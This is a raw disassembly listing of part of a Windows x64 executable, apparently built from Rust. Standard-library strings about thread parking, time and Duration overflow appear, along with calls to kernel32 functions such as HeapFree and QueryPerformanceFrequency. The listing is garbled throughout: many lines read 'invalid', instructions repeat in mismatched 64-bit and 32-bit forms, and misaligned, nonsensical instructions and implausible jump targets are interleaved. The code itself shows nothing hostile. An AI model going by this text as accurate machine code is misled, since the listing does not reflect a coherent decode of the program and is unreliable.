test dword [rbp + 0x4d000000], ecx
lea eax, [rax]
add byte [rax], al
cmp r13, r14
jne 0x1400774e0
lea eax, [rax]
add byte [rax], al
cmp r13, r14
cmc
je case.0x14002753a.912
lea rax, [r13 + 1]
mov qword [rsi], rax
movzx edx, byte [r13]
movzx r12d, dl
test r12b, r12b
test ah, ah
test ah, ah
jns 0x140077424
mov bl, 0x44
mov ecx, esp
invalid
mov ecx, r12d
loope 0x1400773f8
and ecx, 0x1f
loope 0x140077496
invalid
lea rax, [r13 + 2]
mov qword [rsi], rax
mov dword [rsi], eax
add r9b, byte [r8 - 0x77]
invalid
mov dword [rsi], eax
movzx r8d, byte [r13 + 1]
movzx eax, byte [rbp + 1]
add dword [rcx - 0x7d], eax
loopne 0x1400774c6
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x14007741b
lea rax, [r13 + 3]
mov qword [rsi], rax
movzx r12d, byte [r13 + 2]
add al, byte [rcx - 0x3f]
loopne 0x1400774a3
mov dh, 0x65
add al, byte [rcx - 0x3f]
loopne 0x1400774a3
and r12d, 0x3f
or r12d, r8d
cmp dl, 0xf0
jb 0x1400774ed
invalid
lea rax, [r13 + 4]
mov qword [rsi], rax
movzx edx, byte [r13 + 3]
and ecx, 7
shl ecx, 0x12
shl r12d, 6
and edx, 0x3f
or edx, r12d
or edx, ecx
mov r12d, edx
cmp r12d, 0xffff
jbe 0x140077424
invalid
retf 0x8941
invalid
jmp 0x140077500
invalid
mov word [rsi + 0x10], 0
xor ebp, ebp
mov dword [rsi + 0x10], 0xed310000
jmp 0x140077429
shl ecx, 0xc
or r12d, ecx
cmp r12d, 0xffff
jbe 0x140077424
lea ecx, [r12 + 0xff0000]
shr ecx, 0xa
jmp 0x140d0f618
fadd dword [rax]
add byte [rcx - 0x7f], al
in al, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
int3
add ah, bl
add byte [rax], al
mov word [rsi + 0x10], r12w
jmp 0x140d0f618
mov r13, rax
mov ebp, r12d
mov r12d, ecx
jmp 0x140077429
invalid
mov r8, r14
mov eax, esi
sub r8, r13
add r8, 3
add eax, 3
add eax, 3
cmovb r8, r15
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov ecx, edi
mov ecx, edi
mov rdx, rbx
mov edx, ebx
call fcn.1400a3250
jmp 0x140077437
invalid
invalid
invalid
cmc
mov esp, 0xd7e90002
add cl, ch
xlatb
add cl, ch
xlatb
invalid
add rsp, 0x28
pop rbx
sub byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea ecx, [rsi + 0xc8]
invalid
rol byte [rax], 1
add byte [rax], al
add dword [rbx + 0x78ce505], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [rax + 0xc8]
fcos
dec dword [rbx + 0x78cbf0d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
or al, 0xca
or al, 0xca
or ecx, dword [rdi]
or esi, dword [rcx]
ror byte [rax - 0x7d], 0xc4
push rax
invalid
and al, 0x20
and al, 0x20
lea eax, [0x1400dfb80]
add eax, 0x68522
and al, 0x20
and al, 0x28
add dword [rax], eax
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6e70d
or eax, 0x480006e7
mov dword [rsp + 0x30], eax
xor byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
cmp byte [rax - 0x73], cl
adc eax, 0x68509
lea edx, [0x1400dfb90]
or dword [rbp - 0x72b7fffa], eax
and al, 0x20
lea ecx, [rsp + 0x20]
and al, ch
invalid
add al, byte [rax]
int3
int3
int3
int3
sub esp, 0x78
test dl, dl
je 0x1400776ae
invalid
sal byte [rsp + rax - 0x3a], cl
add al, 0xc6
mov byte [rcx + 0x10], 1
adc byte [r9], al
lock dec qword [rcx + 8]
dec qword [rcx + 8]
jne case.0x140047968.451
mov rsi, qword [rcx]
mov al, 1
xor dword [rax + 0x28468601], esi
xchg byte [rsi + 0x28], al
sub byte [rdi + r15*8], r15b
cmp al, 0xff
je case.0x140047968.452
add rsp, 0x78
pop rdi
pop rsi
invalid
ret
add rsi, 0x28
mov rax, qword [0x1400f0258]
invalid
mov eax, dword [rdi]
invalid
sub byte [rax - 0x75], cl
add eax, 0x78b85
invalid
mov eax, dword [rdi]
invalid
test dword [rbx - 0x7ab7fff9], ecx
sal byte [rsp + rcx + 0x48], 0x89
je case.0x140047968.456
mov rcx, rsi
test rax, rax
je case.0x140047968.456
or al, 0x48
mov ecx, esi
mov rcx, rsi
add rsp, 0x78
invalid
pop rdi
pop rsi
jmp rax
invalid
loopne case.0x1400685d6.285
mov rcx, qword [0x1400f0030]
mov ecx, dword [0x1400f0030]
mov dword [r15], r8d
add byte [rax - 0x7d], cl
cmp rcx, 0xffffffffffffffff
jne 0x14007773a
invalid
cmp rcx, 0xffffffffffffffff
jne 0x14007773a
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x1400f0048]
mov eax, dword [0x1400f0048]
and al, 0x30
invalid
mov eax, dword [0x1400f0048]
invalid
lea rcx, [rsp + 0x30]
and al, 0x30
mov edx, 0xc0000000
add byte [rax], al
add al, al
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call rax
test eax, eax
jne 0x140077751
invalid
mov rcx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
mov eax, 0xffffffff
invalid
invalid
invalid
invalid
xor byte [rax - 0x39], cl
sar bh, 0xff
invalid
invalid
invalid
lock cmpxchg qword [0x1400f0030], rcx
or eax, 0x78904
add byte [rsp + rcx + 0x48], dh
je 0x14007773a
or al, 0x48
mov rdi, rax
mov edi, eax
call qword [sym.imp.kernel32.dll_CloseHandle]
rcr dword [rbx], 3
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rdi
stc
mov rax, qword [0x1400f0050]
mov eax, dword [0x1400f0050]
invalid
mov rdx, rsi
xor r8d, r8d
xor r8d, r8d
xor r9d, r9d
call rax
shr cl, 1
jo 0x14007774e
invalid
invalid
shr cl, 1
jo 0x14007774e
invalid
invalid
mov dword [rsp + 0x2c], eax
and al, 0x2c
lea rax, [rsp + 0x2c]
and al, 0x2c
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
lea rax, [0x140045aa0]
add eax, 0xfffce33a
jrcxz 0x140077761
dec dword [rax - 0x77]
and al, 0x40
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, str.Unable_to_create_keyed_event_handle:_error
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 1
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea rcx, [rsp + 0x48]
call fcn.1400a4370
add al, byte [rax]
ud2
add eax, 0x75c98548
invalid
add rsp, 0x40
pop rbp
pop rbp
ret
cmp dword [rax + 8], 0
je case.0x14005f0f7.375
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x140077811
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
jmp 0x140077819
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
clc
invalid
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x31b08
sar bh, cl
adc eax, 0x31b08
mov rcx, qword [0x1400f0220]
mov dword [rdi], eax
add byte [rcx], dh
xor edx, edx
mov r8, qword [rbp - 0x20]
loopne 0x14007787e
xor edx, edx
mov r8, qword [rbp - 0x20]
loopne 0x14007787e
add esp, 0x40
loopne 0x14007787e
add esp, 0x40
invalid
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
sbb al, byte [rbx]
add byte [rsi + 0x66], ah
add eax, dword [rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1485803ae
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.1400755d0
pop rbp
invalid
mov rcx, qword [rbp - 0x20]
call fcn.14008b740
nop
add rsp, 0x20
invalid
invalid
add byte [rax + 0x20c48348], dl
add esp, 0x20
invalid
pop rbp
ret
int3
int3
int3
int3
int3
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
push 0x246c8d48
lea rbp, [rsp + 0x60]
and al, 0x60
invalid
mov qword [rbp], 0xfffffffffffffffe
mov esi, r8d
invalid
mov rdi, rdx
xlatb
add r14b, r15b
invalid
invalid
invalid
xlatb
mov rbx, rcx
mov rcx, qword [0x1400f0248]
mov ecx, dword [0x1400f0248]
mov ecx, dword [0x1400f0248]
xchg ebx, eax
mov dword [rdi], eax
invalid
add byte [rax - 0x7b], cl
invalid
test rcx, rcx
leave
jne 0x1400778e8
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rbp - 8]
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
adc eax, 0x31a1c
add byte [rbp + 0x3d840fc0], al
add dword [rax], eax
test eax, eax
je 0x140077a11
invalid
invalid
add dword [rax], eax
invalid
test byte [0x1880778d6], bh
cmp eax, 0x48000001
add byte [rax - 0x75], cl
clc
clc
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
clc
mov qword [0x1400f0248], rcx
imul ecx, dword [rcx - 0x7ab7fff9], 0xf840fc9
mov dword [rdi], eax
add byte [rax - 0x7b], cl
test rcx, rcx
test rcx, rcx
je 0x1400779f7
test byte [rdi], cl
add dword [rax], eax
add byte [rbp + 0x31], al
ror byte [rax - 0x7d], 0xf9
cmp rcx, 2
setb r8b
invalid
invalid
stc
add dl, cl
invalid
invalid
xor r8d, r8d
cmp rcx, 2
setb r8b
cmp rcx, 0x3b9aca00
ja case.0x14004bb40.427
invalid
retf 0x3b9a
or edi, dword [rax + 0x3b9aca00]
xor edx, edx
invalid
div ecx
jmp 0x140077909
xor eax, eax
lea edx, [rax - 0x3b9aca00]
add byte [rsi], dh
invalid
cmp rcx, 2
cmovae edx, eax
mov eax, edx
rol cl, 1
invalid
invalid
rol cl, 1
call 0x10070c127
imul rax, rax, 0x44b83
imul rax, rax, 0x44b83
add al, 0
shr rax, 0x27
shr eax, 0x27
add r8, rax
add eax, eax
imul eax, eax, 0x3b9aca00
add dl, cl
invalid
sub edx, eax
mov rax, qword [rbx]
mov r9, rdi
add ecx, dword [rcx - 0x77]
stc
sub r9, rax
jae 0x140077941
invalid
add eax, 0xeb084b8b
mov ecx, dword [rbx + 8]
jmp 0x14007794a
or dword [rbx + 0x4c75084b], ecx
cmp ecx, esi
jb 0x140077992
invalid
mov ecx, dword [rbx + 8]
jne 0x140077992
invalid
movabs rdx, 0x73f829483b9aca00
add eax, 0x95e9
add byte [rcx], bh
int1
mov edx, 0x3b9aca00
retf 0x3b9a
sub rax, rdi
jae 0x140077959
invalid
jmp 0x1400779ee
cmp ecx, esi
jae 0x14007796b
test rax, rax
je 0x140077954
invalid
sub ecx, esi
mov edx, ecx
shr edx, 9
imul rdx, rdx, 0x44b83
imul edx, edx, 0x44b83
add al, 0
shr rdx, 0x27
invalid
invalid
add rax, rdx
add eax, edx
ror byte [rdi], 1
invalid
invalid
add byte [rax], al
invalid
retf 0x5ceb
cmp ecx, esi
jbe case.0x1400685d6.311
test r9, r9
je 0x140077ab2
adc eax, dword [rcx]
add byte [rax], al
dec r9
lea r10d, [rsi + 0x3b9aca00]
lea edx, [rsi + 0x3b9aca00]
add dl, cl
invalid
cmp ebp, ebx
invalid
mov r10d, esi
sub r10d, ecx
sub r10d, ecx
mov r11d, r10d
shr r11d, 9
or dword [rbp + 0x69], ecx
fild dword [rbx + 0x4900044b]
or dword [rbx + 4], 0
shr r11, 0x27
add r9, r11
jb 0x140077a7b
invalid
scasd eax, dword [rdi]
add byte [rax], al
invalid
invalid
cmp r9, r8
cmp ecx, eax
jb 0x1400779ea
jne 0x14007794a
imul r8d, r11d, 0x3b9aca00
sub r10d, r8d
sub edx, eax
sub edx, eax
cmp r10d, edx
ja 0x14007794a
invalid
invalid
invalid
invalid
xor eax, eax
xor edx, edx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1400dfaa0]
lea r8, str.library_std_src_syswindows_time.rs
invalid
mov edx, 0x19
call fcn.1400a4530
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
sbb dword [rbx], eax
add byte [rax - 0x3f], cl
loopne 0x140077a3b
or rax, 2
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8d48, 5
xchg esi, eax
lodsb al, byte [rsi]
invalid
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400777b0
mov edx, 0x8d4c0006
or eax, 0x68353
invalid
lea r8, [rbp - 0x38]
mov edx, 0x2b
add al, ch
jne 0x140077a17
invalid
add al, byte [rax]
ud2
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
sbb ebx, esp
invalid
add byte [rax - 0x77], cl
fmul dword [r15]
push rdi
ror byte [rdi], 0x11
loopne 0x140077abb
lea edx, [0x1400dfd10]
sbb ebx, esp
invalid
add byte [rax - 0x77], cl
fmul dword [r15]
push rdi
ror byte [rdi], 0x11
loopne 0x140077abb
lea edx, [0x1400dfd10]
xchg edi, eax
invalid
jmp 0x140077aa7
sub al, 0x48
lea eax, [0x1400dfcb8]
invalid
invalid
lea rax, str.overflow_in_Duration::new
invalid
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
add byte [rax - 0x73], cl
add eax, 0x6e2eb
enter 0xffffffffffffc748, 0x45
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6e2eb
add byte [rax - 0x77], cl
fmul dword [r15]
push rdi
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
ror byte [rdi], 0x11
loopne 0x140077ae9
lea edx, [0x1400d0988]
ror byte [rdi], 0x11
loopne 0x140077ae9
lea edx, [0x1400d0988]
adc eax, 0x58ee1
loope 0x140077a33
mov es, word [0x18d94c2aa]
add eax, 0x4d8d4800
add byte [rax - 0x73], cl
lea rcx, [rbp - 0x38]
enter 0xffffffffffffc0e8, 0xffffffffffffffc8
enter 0xffffffffffffc0e8, 0xffffffffffffffc8
call fcn.1400a4370
ror al, 2
add al, byte [rax]
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
or eax, 0x58ee7
out 0x8e, eax
invalid
invalid
lea rcx, str.overflow_when_subtracting_durations
out 0x8e, eax
add eax, 0x58d4c00
or byte [rdi + 0x23ba0005], cl
mov edx, 0x23
invalid
lea r8, str.librarycore_src_time.rsp_t_r_
add eax, 0x58f08
mov edx, 0x23
call fcn.1400a4960
ud2
xchg esi, eax
invalid
nop dword [rax]
invalid
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
invalid
lea rcx, [rbp - 0x38]
call fcn.1400777b0
nop
add rsp, 0x28
invalid
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, qword [rcx]
mov eax, edi
clc
and eax, 3
lea rcx, [0x1400e75c8]
movsxd rax, dword [rcx + rax*4]
movabs eax, dword [0x48810463480006fa]
add eax, ecx
invalid
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ErrordepthinnerIopatherrLoopancestorchild
invalid
add byte [rcx - 0x48], al
add eax, 0xff000000
push rax
sbb byte [rax - 0x77], cl
jne 0x140077b2c
invalid
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
call 0x140f0c119
call 0x140f0c119
lea r9, [rdi + 0x10]
lea rax, [0x1400786b0]
push rdx
or eax, dword [rax]
add byte [rax], al
push rdx
or eax, dword [rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400e0b6b]
lea edx, [0x1400e0b6b]
invalid
lea rsi, [rbp - 0x20]
jne 0x140077b4e
loopne case.0x140071458.366
mov r8d, 4
mov eax, 4
mov rcx, rsi
int1
call fcn.14003fab0
lea rax, [0x1400489c0]
lea eax, [0x1400489c0]
xor al, 0x7f
cld
dec dword [rax - 0x73]
lea eax, [0x1400489c0]
lea eax, [0x1400489c0]
cmp eax, 0x48fffd0e
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
lea rdx, [0x1400e0b6f]
loopne 0x140077b1c
invalid
mov r8d, 7
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
jmp 0x140077c14
lea rax, [rdi - 1]
add rdi, 0xf
invalid
invalid
dec dword [r8 - 0x7d]
invalid
cmovs ecx, dword [rcx - 0x74b737bb]
mov qword [rbp - 0x38], rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
enter 0xffffffffffff8b48, 0x4e
enter 0xffffffffffff8b48, 0x4e
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e19e7]
adc eax, 0x69e2f
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
adc eax, 0x69e2f
invalid
invalid
add byte [rcx - 0x48], al
mov r8d, 6
mov eax, 6
invalid
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
push rax
sbb byte [rax - 0x77], cl
mov dword [rbp - 0x20], esi
jne case.0x14007ef94.375
loopne 0x140077b4e
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
invalid
invalid
call 0x140f0c192
call 0x140f0c192
jmp 0x14594c3cf
jmp 0x14594c3cf
add byte [rax - 0x73], cl
add eax, 0xadd
fisttp qword [rdx]
add byte [rax], al
invalid
lea rax, [0x1400786b0]
lea eax, [0x1400786b0]
fisttp qword [rdx]
add byte [rax], al
invalid
or al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rdx, [0x1400e0b6b]
lea edx, [0x1400e0b6b]
adc eax, 0x68f8c
mov word [rdi - 0x72b7fffa], cs
pop qword [rsi]
add byte [rax - 0x73], cl
invalid
invalid
lea rsi, [rbp - 0x20]
jne case.0x140071515.363
loopne 0x140077c25
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov r9, rdi
call fcn.14003fab0
lea rax, [0x140078690]
xchg ebp, eax
or al, byte [rax]
invalid
dec dword [rax - 0x73]
add eax, 0xa95
xchg ebp, eax
or al, byte [rax]
invalid
xchg ebp, eax
or al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
add byte [rax], al
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0x69de6
out 0x9d, al
invalid
invalid
lea rdx, [0x1400e19ed]
out 0x9d, al
popfq
invalid
lea r9, [rbp - 0x38]
mov r8d, 5
add eax, 0x48000000
mov ecx, esi
int1
enter 0xffffffffffffb841, 5
enter 0xffffffffffffb841, 5
add eax, 0x48000000
mov ecx, esi
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.14003fab0
jle 0x140077c14
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
movzx ebx, byte [rbp - 0x18]
pop rbp
call 0x142f70034
add byte [rax], al
add byte [rdi], cl
mov dh, 0x5d
pop rbp
call 0x142f70034
test bh, ch
add al, byte [rax]
add byte [rbx + rbx*8 - 0x7af0fe4d], al
mov bl, 1
jne 0x140077f16
add byte [rax], al
test bl, bl
mov bl, 1
jne 0x140077f16
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
jne case.0x14007112a.32
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
mov r8d, 2
jmp 0x140077f0d
shr rdi, 0x20
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b65]
mov r8d, 2
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
lea rax, [0x1400489e0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e0b67]
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
mov rcx, rsi
call fcn.14003fab0
mov ecx, dword [rbp - 0x24]
call fcn.140077f60
mov byte [rbp - 1], al
lea rax, [0x1400786b0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e0b6b]
lea r9, [rbp - 1]
mov r8d, 4
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
call fcn.14003fab0
mov edx, dword [rbp - 0x24]
lea rdi, [rbp - 0x20]
mov rcx, rdi
call fcn.140078120
lea rax, [0x14003be40]
lea eax, [0x14003be40]
lea eax, [0x14003be40]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x1400e0b6f]
mov r8d, 7
add byte [rax - 0x77], cl
int1
invalid
add byte [rax - 0x77], cl
int1
mov r9, rdi
call fcn.14003fab0
cmp byte [rbp - 0x2f], 0
jge 0x140077d0a
inc dword [rax + 0xf00d17d]
mov dh, 0x5d
sal byte [rbx + rdi*2 - 0x50], 1
add dword [rbx + rbx*8 - 0x74b78f8b], eax
invalid
jne case.0x140071458.32
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne 0x140077d77
mov rcx, qword [rax + 0x20]
movzx ebx, byte [rbp - 0x30]
je 0x140077d94
mov al, 1
test bl, bl
invalid
jne case.0x140071458.32
invalid
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne 0x140077d77
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
mov r8d, 2
call qword [rax + 0x18]
jmp case.0x140071458.32
shr rdi, 0x20
cmp edi, 0x28
ja case.0x140071515.34
out dx, eax
and byte [rbx + 0x6b7728ff], al
lea rax, [0x1400e75d8]
add eax, 0x6f885
movsxd rcx, dword [rax + rdi*4]
or al, 0xb8
add rcx, rax
jmp rcx
xor eax, eax
jmp 0x140077e71
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x69669
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea edx, [0x1400e13db]
adc eax, 0x69669
imul edx, dword [rsi - 0x6f16fffa], 0x48000001
add cl, ch
jmp 0x140077f07
nop
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rax + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1400e13db]
adc eax, 0x69655
xchg esi, eax
invalid
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov byte [rbp - 0x30], al
mov ebx, eax
ret
ror byte [rcx + 0x7d8348c3], 1
ret
cmp qword [rbp - 0x18], 0
je 0x140077f16
test byte [rdi + 1], dh
add byte [rax], al
call 0x1b78b8c9c
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + 1], dh
ja 0x140077d9e
add byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
loopne 0x140077dec
invalid
mov r8, qword [rbp - 0x20]
loopne 0x140077dec
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
test byte [rdi], al
add byte [rcx], dh
invalid
xor edx, edx
sar bh, cl
adc eax, 0x3157e
jle case.0x140077d5a.2
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
jle case.0x140077d5a.2
adc eax, 0x5fe90003
add eax, dword [rax]
jmp 0x140077f16
pop rdi
add dword [rax], eax
add byte [rax + 0xb3e929], dh
mov al, 0x29
invalid
mov bl, 0
invalid
add byte [rax], al
mov al, 0x29
jmp 0x140077e71
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xace901], dh
mov al, 1
invalid
lodsb al, byte [rsi]
invalid
add byte [rax], al
mov al, 1
jmp 0x140077e71
add byte [rax], al
add ecx, ebp
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
mov al, 2
invalid
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
mov al, 2
jmp 0x140077e71
add byte [rax], al
add byte [rax + 0x9ee903], dh
mov al, 3
jmp 0x140077e71
sahf
add byte [rax], al
add byte [rax], al
sahf
add byte [rax], al
add byte [rax], al
mov al, 4
invalid
xchg edi, eax
invalid
add byte [rax], al
mov al, 4
jmp 0x140077e71
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x90e905], dh
mov al, 5
invalid
nop
invalid
add byte [rax], al
mov al, 5
jmp 0x140077e71
add byte [rax], al
add eax, 0x90e9
add byte [rax + 0x89e906], dh
mov al, 6
jmp 0x140077e71
add byte [rax], al
mov al, 6
jmp 0x140077e71
add byte [rax + 0x82e907], dh
add byte [rax], al
mov al, 7
jmp 0x140077e71
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x4f8114f8], dh
mov al, 8
jmp 0x140077e71
mov al, 9
jmp 0x140077e71
invalid
mov al, 8
jmp 0x140077e71
mov al, 9
jmp 0x140077e71
mov al, 0xa
jmp 0x140077e71
or ch, bl
jbe 0x140077dac
invalid
mov al, 0xb
jmp 0x140077e71
or ebp, ebx
jb 0x140077db0
invalid
mov al, 0xc
jmp 0x140077e71
or al, 0xeb
outsb dx, byte [rsi]
mov al, 0xd
jmp 0x140077e71
mov al, 0xe
jmp 0x140077e71
mov al, 0xf
jmp 0x140077e71
mov al, 0x10
jmp 0x140077e71
mov al, 0x11
jmp 0x140077e71
mov al, 0x12
jmp 0x140077e71
mov al, 0x13
jmp 0x140077e71
mov al, 0x14
jmp 0x140077e71
mov al, 0x15
jmp 0x140077e71
mov al, 0x16
jmp 0x140077e71
mov al, 0x17
jmp 0x140077e71
mov al, 0x18
jmp 0x140077e71
mov al, 0x19
jmp 0x140077e71
mov al, 0x1a
jmp 0x140077e71
mov al, 0x1b
jmp 0x140077e71
mov al, 0x1c
jmp 0x140077e71
mov al, 0x1d
jmp 0x140077e71
mov al, 0x1e
jmp 0x140077e71
mov al, 0x1f
jmp 0x140077e71
mov al, 0x20
jmp 0x140077e71
mov al, 0x21
jmp 0x140077e71
mov al, 0x22
jmp 0x140077e71
mov al, 0x23
jmp 0x140077e71
mov al, 0x24
jmp 0x140077e71
mov al, 0x25
jmp 0x140077e71
mov al, 0x26
jmp 0x140077e71
mov al, 0x27
jmp 0x140077e71
mov al, 0x28
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b76]
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
mov byte [rbp - 0xf], 0
lea r8, [0x1400786b0]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.14003fc80
int 0x7d
cld
dec dword [rax - 0x75]
loopne 0x140077ec7
mov dh, 0x4d
invalid
test rax, rax
je 0x140077f14
push rsp
int 0x7d
cld
dec dword [rax - 0x75]
loopne 0x140077ec7
mov dh, 0x4d
invalid
push rsp
mov bl, 1
test cl, cl
jne 0x140077f16
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
cmp rax, 1
jne 0x140077ef8
invalid
sub byte [rax + 0x7400f17d], al
and dh, dh
xor al, 4
